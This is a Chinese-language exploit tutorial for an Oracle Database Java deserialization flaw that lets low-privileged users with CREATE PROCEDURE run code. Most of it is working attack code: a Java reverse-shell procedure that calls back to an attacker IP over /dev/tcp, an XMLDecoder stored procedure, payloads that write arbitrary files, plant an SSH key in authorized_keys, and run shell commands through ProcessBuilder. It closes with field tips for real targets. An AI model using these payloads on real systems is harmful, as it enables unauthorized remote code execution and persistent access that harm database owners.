漏洞条件
- Oracle Database Server 11.2.0.4,12.1.0.2,12.2.0.1和18.2
- 拥有CREATE PROCEDURE权限
漏洞原理
Java存储过程
Oracle Enterprise Edition 有一个嵌入数据库的Java虚拟机,而Oracle数据库则通过Java存储过程来支持Java的本地执行。
create or replace function get_java_property(prop in varchar2) return varchar2
is language java name 'java.lang.System.getProperty(java.lang.String) return java.lang.String';
/
这样就创建出了一个java的函数,可以实现java代码的调用(好危险!)
调用方法:
select get_java_property('java.version') from dual;
基本的JVM保护
这么危险的方法肯定不是每个用户都可以调用的。
这里我们先把用户从最高权限的sysdba换到底权限的scoot用户:
- 为scott解锁
SQL> alter user scott account unlock;
User altered.
SQL> commit
2 /
Commit complete.
- 使用scott/triger 登陆数据库
SQL> conn scott/tiger;
ERROR:
ORA-28001: the password has expired
Changing password for scott
New password:
Retype new password:
Password changed
Connected.
SQL> show user;
USER is "SCOTT"
使用scott用户尝试直接反弹shell:
SET scan off
create or replace and compile java source named ReverseShell as
import java.io.*;
public class ReverseShell{
public static void getConnection(String ip, String port) throws InterruptedException, IOException{
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","0<&126-;exec 126<>/dev/tcp/" + ip + "/" + port + ";/bin/bash <&126 >&126 2>&126"});
System.out.println(p.toString());
p.waitFor();
}
}
/
create or replace procedure reverse_shell (p_ip IN VARCHAR2,p_port IN VARCHAR2)
IS language java name 'ReverseShell.getConnection(java.lang.String, java.lang.String)';
/
这显然不行不通的:因为Oracle JVM实现了基于细粒度策略的安全机制来控制对操作系统和文件系统的访问。如果从权限较低的帐户执行此过程,就会出现错误。
红框中的意思大概就是说当前用户并没有权限
XML反序列化
java.beans库包含两个类:XMLEncoder和XMLDecoder,用于将XML格式的内容进行序列化与反序列化。
在oracle数据库中低权限的用户(具有connect和resource的用户)也创建XML反序列化的程序。
这里创建一个DcodeMe 类来实现XML的反序列化:
create or replace and compile java source named DecodeMe as
import java.io.*;
import java.beans.*;
public class DecodeMe{
public static void input(String xml) throws InterruptedException, IOException {
XMLDecoder decoder = new XMLDecoder ( new ByteArrayInputStream(xml.getBytes()));
Object object = decoder.readObject();
System.out.println(object.toString());
decoder.close();
}
}
;
/
CREATE OR REPLACE PROCEDURE decodeme (p_xml IN VARCHAR2) IS
language java name 'DecodeMe.input(java.lang.String)';
/
decodeme
过程将接受任意XML编码的Java字符串并执行提供的指令。
这里输出一下字符串作为测试:
set serveroutput on
exec dbms_java.set_output(10000);
BEGIN
decodeme('<?xml version="1.0" encoding="UTF-8" ?>
<java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.lang.System" field="out">
<void method="println">
<string>This is test output to the console</string>
</void>
</object>
</java>');
END;
/
这样就实现了代码执行,显然我们不仅仅是输出内容这么简单,下面就来实现一些危险操作。
漏洞利用
写文件
BEGIN
decodeme('
<java class="java.beans.XMLDecoder">
<object class="java.io.FileWriter">
<string>/tmp/test</string>
<boolean>True</boolean>
<void method="write">
<string>success</string>
</void>
<void method="close" />
</object>
</java>');
END;
/
这样写shell写ssh公钥就自由发挥了:
BEGIN
decodeme('
<java class="java.beans.XMLDecoder">
<object class="java.io.FileWriter">
<string>/home/oracle/.ssh/authorized_keys</string>
<boolean>True</boolean>
<void method="write">
<string>ssh-rsa AA...</string>
</void>
<void method="close" />
</object>
</java>');
END;
/
RCE
BEGIN
decodeme('
<java class="java.beans.XMLDecoder">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>/bin/ls>/tmp/1</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</java>');
END;
/
这里12c版本没有成功,并且漏洞的作者也没有演示RCE,看其他文章说应该是10和11g版本才能RCE。
实战中要注意两个细节
- 换行问题,我们写入的内容是追加在authorized_keys文件上的,且没有换行,为了保证写入的公钥能被使用需要单独成行,我这里试了写”\n”换行符失败,最后还是手动换行写进去
- 目录问题,如果目标机器没有使用过ssh登陆,很大概率是没有 .ssh 目录的,该poc不能强制生成目录